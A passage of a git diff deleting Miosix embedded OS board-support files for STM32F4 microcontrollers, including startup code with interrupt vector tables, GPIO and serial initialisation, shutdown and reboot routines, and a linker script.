DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - 0, - 0, - 0, - 0, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - 0, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - 0, - 0, - 0, - 0, - DMA1_Stream7_IRQHandler, - 0, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - 0, - 0, - 0, - 0, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - FPU_IRQHandler, - 0, - 0, - SPI4_IRQHandler -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 788dff40e..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F401xC -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/interfaces-impl/bsp.cpp deleted file mode 100644 index a6d093305..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,145 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Terraneo Federico and Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -typedef Gpio cs43l22reset; - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - // On stm32f4discovery some of the SDIO pins conflict with the - // audio output chip, so keep it permanently reset to avoid issues - cs43l22reset::mode(Mode::OUTPUT); - cs43l22reset::low(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/interfaces-impl/bsp_impl.h deleted file mode 100644 index bf8e8d012..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,88 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * D0 : PC8 - * D1 : PC9 - * D2 : PC10 (conflicts with CS43L22 SCK) - * D3 : PC11 - * CLK : PC12 (conflicts with CS43L22 SDIN) - * CMD : PD2 - * - * The conflicts mean that it's not possible to use both the SD card and - * the audio playback feature on this board. - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/stm32_256k+64k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/stm32_256k+64k_rom.ld deleted file mode 100644 index b6d7ac950..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/stm32_256k+64k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (256K FLASH, 64K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 64KB microcontrollers */ -_heap_end = 0x20010000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 256K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 64K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/core/stage_1_boot.cpp deleted file mode 100644 index 9af45b2da..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/core/stage_1_boot.cpp +++ /dev/null @@ -1,380 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f4 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FSMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - 